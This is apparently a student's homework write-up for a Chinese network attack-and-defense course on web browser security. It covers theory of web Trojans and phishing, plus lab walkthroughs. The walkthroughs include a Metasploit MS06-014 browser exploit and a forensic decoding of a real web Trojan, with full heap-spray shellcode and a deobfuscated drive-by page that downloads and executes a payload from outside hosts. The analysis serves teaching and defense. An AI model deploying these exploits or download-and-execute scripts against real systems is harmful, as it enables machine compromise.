zoukankan      html  css  js  c++  java
  • 20199319 2019-2020-2 《网络攻防实践》第十二周作业

    这个作业属于哪个课程 https://edu.cnblogs.com/campus/besti/19attackdefense
    这个作业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10756
    我在这个课程的目标是 学习并掌握网络攻防知识,能完成相关实践
    这个作业在哪个具体方面帮助我实现目标 学习Web浏览器安全攻防知识

    Web浏览器安全攻防

    1.知识点梳理与总结

    Web浏览器的技术发展与安全威胁

    1、现代web浏览器:指能够符合“现行标准”,并被互联网用户所接受使用的web浏览器软件。目前的现代web浏览器要求能够理解和支持HTML和XHTML、Cascading Style Sheets(CSS)、ECMAScript及W3C Document Object Model(DOM)等一系列标准。

    2、现代web浏览器基本结构:

    • 支持各种应用层协议的Stream流接收与解析;
    • 维护DOM对象模型结构;
    • 通过支持 EMCAScript标准构建 JavaScript、Falsh Action Script等客户端脚本语言的执行环境;
    • 支持CSS标准控制页面的布局,最终在浏 览器终端中将服务器端的各种流媒体对象、应用程序、客户端脚本执行效果进行渲染,展现给终端用户;

    3、web浏览器软件的安全困境三要素:

    • 复杂性:现代Web浏览器软件由于需要支持HTTP、HTTPs、FTP等多种类型应用层协议浏览,符合HTML、XHML、CSS等一系列页面标准规范,支持JavaScript、Flash、Java等多种客户端执行环境,并满足大量用户浏览需求,变得非常复杂和庞大。复杂性意味着更多的错误和安全缺陷,存在着可被渗透攻击所利用的大量安全漏洞。
    • 可扩展性:目前几 乎所有现代浏览器软件都支持第三方插件扩展机制,第三方扩展插件的开发过程缺乏安全保证,出现安全漏洞的情况更普遍;浏览器插件一般不具备自动版本更新机制,安全漏洞被利用的时间周期较系统软件与测览器软件本身漏洞要长;恶意客户端脚本代码是现代浏览器由于可扩展性所面临的主要安全威助;
    • 连通性:现代Web浏览器本身就是为用户实现“随时随地浏览互联网”目标而存在的,因此浏览器软件始终工作在联网状态,一旦存在安全漏洞,很容易被 网络上的威胁源利用;

    4、web浏览安全威胁位置:
    web浏览器所处的系统平台、Web浏览器软件及插件程序、以及使用浏览器的终端用户构成一个完整的Web浏览环境。web浏览环境中的每个组件面对着各种不同类型的安全威胁:

    ①针对传输网络的网络协议安全威胁:网格是连接Web应用服务端与客户端浏览环境的媒介,因此面临网络传输协议安全攻击与威胁;
    ②针对web浏览端系统平台的安全威胁:互联网用户在浏览网页过程中所使用的浏 览器软件、插性及相关应用程都运行在桌面操作系统之上,操作系统所存在的安全漏洞使得web浏览环境存在着被攻击的风验;
    ③针对web浏览器软件及插件程序的渗透攻击威胁:恶意攻击者在地下经济链的驱动下,通过客户端渗透攻击向互联网用户桌面系统中植入恶意木马程序,窃取隐私信息并以此牟取非法利益;
    ④针对互联网用户的社会工程学攻击威胁:恶意攻击者利用进行web浏览的互联网用户本身所存在的人性、心理等方面的弱点,实施社会工程学攻击,来尝试骗取 互联网用户的敏感个人隐私信息,如网络钓鱼攻击;

    Web浏览端的渗透攻击威胁——网页木马

    1、网页木马存在的技术基础:Web浏览端安全漏洞
    网页木马的本质核心是利用脚本语言实现对Web浏览端软件安全漏洞的渗透攻击,从而向客户端主机植入恶意程序。

    2、网页木马利用漏洞的特性:

    • ①网页木马所攻击的安全漏洞的存在位置非常多样化,包括Web浏览器本身、浏览器插件、关联某些web文件的应用程序等,由于都涉及web 浏览过程,因此一旦存在着可导致远程代码执行的安全漏洞,就可能被网页木马所利用。
    • ②由于互联网用户对应用软件的在线升级和补丁安装过程不像微软系统软作一样自动化和实时,因此一些流行应用软件中的安全漏洞留给网页木马的攻击时间窗口更长;
    • ③一些影响范围广的交全漏洞会被网页木马持续地利用,以攻击那 些长时间不进行系统升级与补丁更新,或者安装老旧操作系统版本的互联网用户计算机;

    3、网页木马的定义特性:

    网页木马是对web浏览端软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本语言如 JavaScript、VBScirpt实现,或以Flash、PDF等恶意构造的Web文件形式存在,通过利用web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序。

    4、对网页木马机理的全方位分析与理解:

    • 网页木马的攻击是被动式的,需要通过一些技术 方法来诱使互联网用户来访问网页木马页面;

    具有明确社会职责分工的网页木马攻击技术流程:

    • 病毒编写者负责实现网页木马和传统的盗号木马,并使用免杀技术方法躲避反病毒软件的检测;
    • 黑站长/网站骇客出卖网站访问者或攻陷不安全的网站,出售访问流量;
    • “信封”盗窃者在木马宿主站点放置网页木马和传统盗号木马,在大量网站中嵌入恶意链接将访问这重定向到网页木马;
    • 受害者访问挂马网站时,会自动链接网页木马并被其攻击,植入传统盗号木马,被窃取信息。

    网页木马区别于传统二进制恶意代码的特性:

    • ①多样化的客户端渗透攻击位置和技术类型,提升渗透攻击成功的概率;
    • ②分布式、复杂的微观链接结构。采用多个木马宿主站点,扩大网页木马攻击网络的攻击影响范围,提高网络的可生存性;
    • ③灵活多变的混淆与对抗分析能力。攻击者为躲避反病毒引擎对网页木马的检测,充分利用web客户端脚本语言的灵活机制,对网页木马进行混淆处理;

    网页挂马机制:
    编写完网页木马渗透攻击代码后,攻击者需要将网页木马挂接到一些拥有客户访间流量的网站页面上,这一过程被称为网页挂马。网页挂马的四类策略:
    (1)内嵌HTML标签:

    • 最常用的内嵌标签为 iframe,其功能是在页面中创建一个内嵌的框架,用于包含和显示其他文档页面,当包含页面被浏览器打开时,被包含的页面也会同时被请求并显示在内嵌框架中。攻击者利用这一特性用于直接或间接地嵌入网页木马,并通常将内嵌框架设置为不可见,从而避免引起受害者注意;
    • 还有利用frame标答、使用body标签的onload事件、在CSS标签中包含网页木马链接等;
      (2)恶意Script脚本:
    • 利用Script脚本标签通过外部引用脚本的方式来包含网页木马,如<script src=”URL to Trojan”>;
    • 跳转脚本通常使用 document.write动态生成包含网页木马链接的iframe内嵌标签;或较少见的 windows.open函数弹出一个新的HTML窗口链接网页木马进行攻击;
      (3)内嵌对象链接:
    • 利用图片、Flash等内嵌对象中的特定方法来定成指定面的加载 ;
    • Flash中的LoadMovie()方法,能够产生包含网页木马链接的图片或Flash文件,通过向一些允许用户上传图片和Flash文件的网站进行上传,造成 这些网站特定页面被挂马;
      (4)ARP欺骗挂马:
    • 不需攻陷目标网站,对防护严密且访问用户量大的网站很有效;
    • 攻击者通过ARP欺骗进行中间人攻击,劫持所有目标网站出入流量,在目标网站的HTML反馈包中注入任意恶意脚本,使其成为将网络访问流量链接至网页木马的挂马站点;

    网页木马混淆机制:

    • ①将代码重新排版,去除缩进、空行、换行、注释等,将网页木马中的变量名替换为一组合法的随机字符串,使其失去自我描述能力,从而干扰阅读分析;
    • ②通过大小写变换、十六进制编码, escape编码、unicode编码等方法对网页木马进行编码混滑;
    • ③通过通用或定制的加密工具(如XXTEA)对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用 document.write()或eval()进行动态输出或执行;
    • ④利用字符串运算、数学运算或特殊函数可以混淆代码;
    • ⑤修改网页木马文件掩码欺骗反病毒软件,或对网页 木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件等;

    5、网页木马的监测与分析方法

    • 基于特征码匹配的传统检测方法:单独使用已不适用;
    • 基于统计与机器学习的静态分析方法:实质上是针对网页木马所采用的代码混淆或隐藏内嵌链接的特征进行检测,仍停留在外在形态层次上,目前已不适用于实际场景;
    • 基于动态行为结果判定的检测分析方法:最为有效的一种方式。
      利用网页木马在攻击过程中向互联网用户主机植入并激活恶意程序的行为特性,通过构建包含典型Web访问浏览器及应用软件、存有安全漏洞的高交互式客户端蜜罐环境,在蜜罐中访问待检测的网页,根据访问过程中是否触发了新启动进程、文件系统修改等非预期系统状态变化,以判定当前访问页面中是否被挂接了网页木马。
    • 基于模拟浏览器环境的动态分析检测方法:动态分析检测方法。
      以脚本执行引擎为核心,通过 模拟实现DOM模型、页面解析与渲染、 ActiveX等第三方控件构建出一个虚拟的低交互式 客户端蜜罐环境,在该环境中进行网页脚本的动态解释执行,以还原出网页木马在混淆之前的真实形态,并进一步结合反病毒引擎扫描、异常检测、安全漏洞模拟与特征检测等 方法对网页木马进行分析和检测。
      检测工具:The Honeynet Project的PHoneyC、UCSB的JSAND系统及其提供的wepawet在线分析服务等。

    6、网页木马防范措施:

    • 提升操作系统与浏览端平台软件的安全性,采用操作系统本身提供的在线更新以及第三方软件所提供的常用应用软件更新机制;
    • 安装与实时更新一款优秀的反病毒软件,养成安全上网浏览的良好习惯;
    • 借助站点安全评估工具,避免访问可能遭遇挂马或者安全性不高的网站;
    • 使用冷门浏览器进行上网;

    揭开网络钓鱼的黑幕

    1、网络钓鱼( Phishing):社会工程学在互联网中广泛实施的一种典型攻击方式,通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出个人敏感信息(如用户名、口令、账号ID、PN码或信用卡详细信息等)。

    2、网络钓鱼攻击的普遍技术流程:

    • ①攻击者扫描网段,寻找存有漏洞的服务器;
    • ②服务器被攻陷,并被安装一个Rootkit或口令保护的后门工具;
    • ③攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置与测试工作,使得钓鱼网站上线运行;
    • ④攻击者下载群发电子邮件工具,并大规模散发包含假钓鱼网站信息的欺骗性垃圾邮件;
    • ⑤网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问假冒的钓鱼网页内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集个人敏感信息。

    3、欺骗技巧:

    • ①在指向假冒网站的链接中使用IP地址代替域名;
    • ②注册发音相近或形似的DNS域名;
    • ③在一个假冒钓鱼网站的电子邮件HTML内容中嵌入一些指向真实的目标网站链接,使得用户的网站浏览器大多数HTTP连接是指向真实的目标网站,而仅有少数的关键连接指向假冒的网站。
    • ④对假冒网站的URL进行编码和混淆。IDN欺骗技术就是使用Unicode编码的URL在浏览器的地址栏里呈现的看起来像是真实的网站地址,但实际却指向一个完全不同的地址 ;
    • ⑤企图攻击用户网页浏览器存在的漏洞,使之消息内容的实质。
    • ⑥将假冒的钓鱼网站配置成记录用户提交的所有数据并进行不可察觉的日志,然后将用户重定向到真实的网站。
    • ⑦架设一个假冒网站,作为目标机构真实网站的代理,并偷摸地记录未使用SSL加密保护的口令信息;
    • ⑧通过恶意代码在受害者计算机上安装一个恶意的浏览器助手工具,由其将受害者重定向到假冒的钓鱼网站;
    • ⑨使用恶意代码去修改受害者计算机上用来维护DNS域名和IP地址映射的本地hosts文件,使得网页浏览器在连接架设假冒钓角网站的服务器时,让用户在地址栏中看起来像是访问目标机构的合法网站。

    4、网络钓鱼攻击防范措施:

    • ①提高警惕性,不轻信并打来邮件中的链接;
    • ②充分利用浏览器软件、网络安全厂商软件所提供的反钓鱼网站功能特性,提高个人的安全意识;
    • ③在登录网上银行等关键网站时,务必要重视网站真实性;
    • ④提升自己抵抗社会工程学攻击的能力。

    2.实践过程

    实验一:Web浏览器渗透攻击实验


    • 以Kali(192.168.200.8)作为攻击机进行攻击,Win2kServer(192.168.200.124)作为靶机,确定可以ping通。在kali中输入msfconsole进入Metasploit。
    • 执行命令【use exploit/windows/browser/ie_createobject】使用MS06-014作为攻击的目标漏洞,这是一个挂马漏洞,通过该漏洞可以将写好的木马挂接到正常网页上,终端用户访问该网页时即被攻击。
      然后通过命令【set PAYLOAD windows/meterpreter/reverse_tcp】设置打开反向连接的载荷。使用【set LHOST 192.168.200.8】设置攻击机IP地址。
      最后使用【exploit】发起攻击。


    • 通过【exploit】建立恶意服务器,得到local IP即恶意URL,在靶机中访问该地址,回到攻击机中可以发现一个靶机到攻击机的session会话已经建立,攻击完成。

    • 使用【sessions -i 1】获得meterpreter命令行,其中1为session ID。然后执行【ipconfig】得到ip地址确实为靶机地址,证明会话建立,攻击成功!

    取证分析实践:剖析一个实际的网页木马攻击场景

    说明:由于本次实验中指导书上给出的链接无法访问,所以涉及到访问链接获取信息的内容就直接参考指导书了。


    • 首先访问说明中给出的 start.html 文件,但考虑到这个文件中包含了new09.htm是恶意网站的入口,我们不直接在浏览器中打开它,而把它下载下来。下载以后用记事本打开,搜索“new09.htm”,可以找到两处:

    • 由上可以看出start.html文件在引用 new09.htm 文件时没有写绝对路径,所以new09.htm文件与 start.html文件在同一目录下。同样,访问new09.htm并下载下来并用记事本打开,可以看到new09.htm文件中,用 iframe 引用了一个【http://aa.18dd.net/aa/kl.htm】 文件,又用javascript引用了一个【http://js.users.51.la/1299644.js】文件。

    • 对它们分别作MD5散列,结果如下:

    • 在hashed文件中找到对应的文件,用记事本打开。
    • 23180a42a2ff1192150231b44ffdf3d3中的内容如下,提示不是我们要找的内容。
    • 7f60672dcd6b5e90b6772545ee219bd3文件中的内容比较复杂,但实际上是一种被称为XXTEA+Base64 的加密方法。对付这种加密方法,只要找到它的加密密钥就可以。如下图注意到这样一条语句:其中xxtea_decrypt函数的第二个参数就是密钥。使用了16进制加密,转换一下得到密钥是“script”。

    function init(){document.write();} 
    window.onload = init; 
    if(document.cookie.indexOf('OK')==-1){ 
    try{var e; 
    var ado=(document.createElement("object")); 
    ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); 
    var as=ado.createobject("Adodb.Stream","")} 
    catch(e){}; 
    finally{ var expires=new Date(); 
    expires.setTime(expires.getTime()+24*60*60*1000); 
    document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString(); 
    if(e!="[object Error]"){ 
    document.write("<script src=http://aa.18dd.net/aa/1.js></script>")} 
    else{ 
    try{var f;var storm=new ActiveXObject("MPS.StormPlayer");} catch(f){}; finally{if(f!="[object Error]"){ document.write("<script src=http://aa.18dd.net/aa/b.js></script>")}} try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");} catch(g){}; 
    finally{if(g!="[object Error]"){ 
    document.write("<script src=http://aa.18dd.net/aa/pps.js></script>")}} 
    try{var h;var obj=new ActiveXObject("BaiduBar.Tool");} 
    catch(h){}; 
    finally{if(h!="[object Error]"){ 
    obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}} 
    }}} 
    
    • 由上可以看到利用到的应用程序漏洞有:
      Adodb.Stream 微软数据库访问对象漏洞;
      MPS.StormPlayer 暴风影音漏洞;
      POWERPLAYER.PowerPlayerCtrl.1 PPStream漏洞;
      BaiduBar.Tool 百度搜霸漏洞;
    • 除此之外还可以看到这个文件还引用了三个js文件和一个压缩包(bd.cab,解开后是bd.exe),对他们作MD5散列:
    MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4 
    MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166 
    MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2 
    MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2
    
    • 依次打开上述文件
    • 首先看5d7e9058a857aa2abee820d5473c5fa4,是用16进制加密,解开得:
      这个文件前面部分下载了一个【http://down.18dd.net/bb/014.exe】的可执行文件,后面部分是对ADODB漏洞的继续利用。

    • 然后看3870c28cc279d457746b3796a262f166,使用packed加密,解密后看到了shellcode,shellcode都不长,而它要实现很多破坏,不可能“事必亲躬”,因此shellcode
      很可能就是下载器。对于一个下载器来说,必不可少的一项内容就是要下载的内容的URL。

    • URL中必然出现斜线“/”,“/”的十六进制ASCII码是2f,在shellcode中找“/”,后四处比较可疑,因为两个2f比较密集。于是取从第三个2f开始到末尾的内容,解密结果是:【http://down.18dd.net/bb/bf.exe】
    • 查看5f0b8bf0385314dbe0e5ec95e6abedc2(pps.js),使用了八进制加密,解密后,同样有shellcode,用相同的方法得到【http://down.18dd.net/bb/pps.exe】
    /*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + 
    "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u*/ pps=(document.createElement("object")); pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458") var shellcode = unescape("%uf3e9%u0000"+ "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62 2f%u2f62%u7070%u2e73%u7865%u0065"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersize+shellcode.length; while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (x=0; x<400; x++) memory[x] = block + shellcode; var buffer = ''; while (buffer.length < 500) buffer+="x0ax0ax0ax0a"; pps.Logo = buffer 
    
    • 综上:得到了四个exe文件,即014.exe,bf.exe,pps.exe,bd.exe。 这四个文件在资源管理器中大小相同且文件内容完全相同。下面开始分析可执行文件。
    • 使用PEiD查看可执行文件的加壳情况,发现是用 Delphi写的。
    • 用IDA反汇编这个exe文件,查看字符串可以发现:
      (1)生成一个叫Alletdel.bat的批处理文件,这个文件中有一个标签叫"try",批处理文件会不断的执行这个标签下一行的命令,命令内容可能是判断文件存在性,更改系统日期,删除某些文件。
      上述由以下内容看出:" goto try",":try","Alletdel.bat","cmd /c date ","cmd /c date 1981-01-12","del "","del %0","if exist ";
      (2)可能在磁盘根目录下生成自动运行的文件,用户不小心时启动程序。
      上述由以下内容看出:":AutoRun.inf","[AutoRun]open=","AutoRun.inf","shellAutocommand=";

      (3)对IE、注册表、服务和系统文件动手脚。
      上述由以下内容看出"advapi32.dll", "drivers/klif.sys","program filesinternet explorerIEXPLORE.EXE","IE 执行保护", "IEXPLORE.EXE","SoftwareMicrosoftWindowsCurrentVersionPoli"), "Kernel32.dll", "SOFTWAREBorlandDelphiRTL", "ChangeServiceConfig2A", "ChangeServiceConfig2W" , "QueryServiceConfig2A","QueryServiceConfig2W"

      (5)这个程序要下载一堆木马,一堆形如"http://down.18dd.net/kl/**.exe"的字符串,0~19共20个.

    攻防对抗实践:web浏览器渗透攻击攻防对抗

    说明:由于不知道如何进行混淆处理组装成一个URL链接,所以就还是利用了实践一中的ms06-014攻击。
    • 攻击方攻击过程同实践一,这里不再重复说明,防守方访问恶意URL,然后右键查看源文件获取攻击页面的源代码,下载查看。发现对关键指令做了字符串拼接处理和使用了大量的空白和间隔,猜测是为了防止被杀毒软件查杀。
    • 为了方便分析将其中无效回车符和空格去除(利用word的查找替换),结果如下:
    /*完整内容*/
    <html><head><title></title>		    	 	 			 	 	 	  <script  language="javascript">functionsetWQZx(o,n){varr=null;try{eval("r=o"+".C"+"re"+"ate"+"Ob"+"je"+"ct(n)")}catch(e){}if(!r){try{eval("r=o"+".Cr"+"ea"+"teO"+"bj"+"ect(n,'')")}catch(e){}}if(!r){try{eval("r=o"+".Cr"+"ea"+"teO"+"bj"+"ect(n,'','')")}catch(e){}}if(!r){try{eval("r=o"+".Ge"+"tOb"+"je"+"ct('',n)")}catch(e){}}if(!r){try{eval("r=o"+".Ge"+"tOb"+"ject(n,'')")}catch(e){}}if(!r){try{eval("r=o"+".Ge"+"tOb"+"ject(n)")}catch(e){}}return(r);}functionEimBZKFLdarRScyfXbFJ(a){vars=setWQZx(a,"W"+"Sc"+"ri"+"pt"+".S"+"he"+"ll");varo=setWQZx(a,"A"+"DO"+"D"+"B.S"+"tr"+"eam");vare=s.Environment("P"+"ro"+"ce"+"ss");varurl=document.location+'/p'+'ay'+'lo'+'ad';varxml=null;varbin=e.Item("T"+"E"+"M"+"P")+"\UCnnyJjZsdWcbHmepRF"+".e"+"xe";vardat;try{xml=newXMLHttpRequest();}catch(e){try{xml=newActiveXObject("Microsoft.XMLHTTP");}catch(e){xml=newActiveXObject("MSXML2.ServerXMLHTTP");}}if(!xml){return(0);}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0);}functionvFcKhKfcVisjDvR(){vari=0;vart=newArray('{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'6'+'}','{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'0'+'}','{'+'7'+'F'+'5'+'B'+'7'+'F'+'6'+'3'+'-'+'F'+'0'+'6'+'F'+'-'+'4'+'3'+'3'+'1'+'-'+'8'+'A'+'2'+'6'+'-'+'3'+'3'+'9'+'E'+'0'+'3'+'C'+'0'+'A'+'E'+'3'+'D'+'}','{'+'6'+'e'+'3'+'2'+'0'+'7'+'0'+'a'+'-'+'7'+'6'+'6'+'d'+'-'+'4'+'e'+'e'+'6'+'-'+'8'+'7'+'9'+'c'+'-'+'d'+'c'+'1'+'f'+'a'+'9'+'1'+'d'+'2'+'f'+'c'+'3'+'}','{'+'6'+'4'+'1'+'4'+'5'+'1'+'2'+'B'+'-'+'B'+'9'+'7'+'8'+'-'+'4'+'5'+'1'+'D'+'-'+'A'+'0'+'D'+'8'+'-'+'F'+'C'+'F'+'D'+'F'+'3'+'3'+'E'+'8'+'3'+'3'+'C'+'}','{'+'0'+'6'+'7'+'2'+'3'+'E'+'0'+'9'+'-'+'F'+'4'+'C'+'2'+'-'+'4'+'3'+'c'+'8'+'-'+'8'+'3'+'5'+'8'+'-'+'0'+'9'+'F'+'C'+'D'+'1'+'D'+'B'+'0'+'7'+'6'+'6'+'}','{'+'6'+'3'+'9'+'F'+'7'+'2'+'5'+'F'+'-'+'1'+'B'+'2'+'D'+'-'+'4'+'8'+'3'+'1'+'-'+'A'+'9'+'F'+'D'+'-'+'8'+'7'+'4'+'8'+'4'+'7'+'6'+'8'+'2'+'0'+'1'+'0'+'}','{'+'B'+'A'+'0'+'1'+'8'+'5'+'9'+'9'+'-'+'1'+'D'+'B'+'3'+'-'+'4'+'4'+'f'+'9'+'-'+'8'+'3'+'B'+'4'+'-'+'4'+'6'+'1'+'4'+'5'+'4'+'C'+'8'+'4'+'B'+'F'+'8'+'}','{'+'D'+'0'+'C'+'0'+'7'+'D'+'5'+'6'+'-'+'7'+'C'+'6'+'9'+'-'+'4'+'3'+'F'+'1'+'-'+'B'+'4'+'A'+'0'+'-'+'2'+'5'+'F'+'5'+'A'+'1'+'1'+'F'+'A'+'B'+'1'+'9'+'}','{'+'E'+'8'+'C'+'C'+'C'+'D'+'D'+'F'+'-'+'C'+'A'+'2'+'8'+'-'+'4'+'9'+'6'+'b'+'-'+'B'+'0'+'5'+'0'+'-'+'6'+'C'+'0'+'7'+'C'+'9'+'6'+'2'+'4'+'7'+'6'+'B'+'}','{'+'A'+'B'+'9'+'B'+'C'+'E'+'D'+'D'+'-'+'E'+'C'+'7'+'E'+'-'+'4'+'7'+'E'+'1'+'-'+'9'+'3'+'2'+'2'+'-'+'D'+'4'+'A'+'2'+'1'+'0'+'6'+'1'+'7'+'1'+'1'+'6'+'}','{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'3'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}','{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'A'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}',null);while(t[i]){vara=null;if(t[i].substring(0,1)=='{'){a=document.createElement("object");a.setAttribute("cl"+"as"+"sid","cl"+"s"+"id"+":"+t[i].substring(1,t[i].length-1));}else{try{a=newActiveXObject(t[i]);}catch(e){}}if(a){try{varb=setWQZx(a,"W"+"Sc"+"ri"+"pt"+".S"+"he"+"ll");if(b){EimBZKFLdarRScyfXbFJ(a);return(0);}}catch(e){}}i++;}}</script></head><bodyonload='vFcKhKfcVisjDvR()'>qZLQlsMuGDwscJetDIVVeuxDh</body></html>
    
    • 从数组中选一组字母,如第一组【BD96C556】,搜索可以发现是利用ms06-014进行的攻击。

    取证分析挑战实践:Web浏览器遭遇攻击


    实验工具:chaosreader+wireshark
    • 首先安装chaosreader,具体过程见【学习中遇到的问题及解决】,用chaosreader读取文件chaosreader suspicious-time.pcap,可以看到有HTTP、ICMP、Bootps、Netbios、DNS等应用层协议,其中有攻击的嫌疑应该是HTTP。

    列出捕获文件中的 IP 地址、主机名和域名。从这些信息中你能猜出攻击场景的环境配置情况吗?

    • 使用如下命令:
    for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http: ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http: ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host: ' | sort -u | sed -e 's/Host: //g'`; echo "$srcip --> $dstip = $host"; done | sort –u
    

    从结果可以看出:
    rapidshare.com.eyu32.ru 对应192.168.56.50;
    sploitme.com.cn对应192.168.56.50;
    shop.honeynet.sg对应192.168.56.51;

    • 使用命令【tshark -r suspicious-time.pcap | grep 'NB.20>' | sed -e 's/<[^>]>//g' | awk '{print $3,$4,$10}' | sort -u】筛选出NBNS协议,NBNS协议的作用是基于NetBIOS名称访问的网络上提供主机名和地址映射方法,即提供主机名称。

      接下来使用命令【tshark -r suspicious-time.pcap | grep 'NB.1e>' | sed -e 's/<[^>]>//g' | awk '{print $3,$4,$9}' | sort -u】发现四个ip地址的主机在同一个工作组。
    • 再用wireshark打开suspicious-time.pcap,通过arp筛选发现,四个ip地址所对应的mac地址相同,推测这四台主机相同的或者克隆的,又因为具有四个网卡,所以猜测攻击场景的环境是VM中。
    • 综上:
      服务:10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2 (DHCP 服务和网关),192.168.1.1 (DNS 服务)。
      受害者:10.0.2.15, 10.0.3.15, 10.0.4.15,10.0.5.15 。
      模拟被侵入主机:192.168.56.50 ( “rapidshare.com.eyu32.ru”)、192.168.56.51 (“shop.honeynet.sg”)。
      攻击者:192.168.56.52 ( “sploitme.com.cn”)。

    列出捕获文件中的所有网页页面,其中哪些页面包含了可疑的、可能是恶意的JavaScript 脚本代码?谁在连接这些页面?请描述恶意网页的攻击目的?

    • 浏览器打开session_0006.part_01.html发现如下界面,应该是恶意创建的一个钓鱼网站,对应rapidshare.com.eyu32.ru/login.php
    • 接下来找sploitme.com.cn,对应文件session_0007.part_02.html,结果发现404 NotFound
    • 接着找shop.honeynet.sg/catalog/,对应文件session_0032.part_01.html,结果如下:

    攻击动作的概要描述:

    • 攻击者将恶意javascript代码注入指向sploitme.com.cn/?click=X的隐藏iframe。
    • 当访问者查看这些页面时,它们首先被重定向到sploitme.com.cn/fg/show.php?s=X,该页面通过302 FOUND标头重定向到伪造的404页面(见数据包63、174、366)。
    • 然后在该页面中,检查用户代理字符串,着陆点和其他参数,show.php发出另一个javascript代码,该代码尝试各种攻击以在受害者的计算机中执行代码。如果任何漏洞利用成功,则客户端的计算机将下载并执行位于sploitme.com.cn/fg/load.php?e=X的文件。 在我们的案例中,恶意软件访问www.honeynet.org。

    攻击者引入了哪些技巧给你的分析带来了困难,请提供在之前问题中识别的恶意JavaScript 脚本内容,并对它们进行解码或解密。

    • 恶意页面伪装成看起来像404页面。
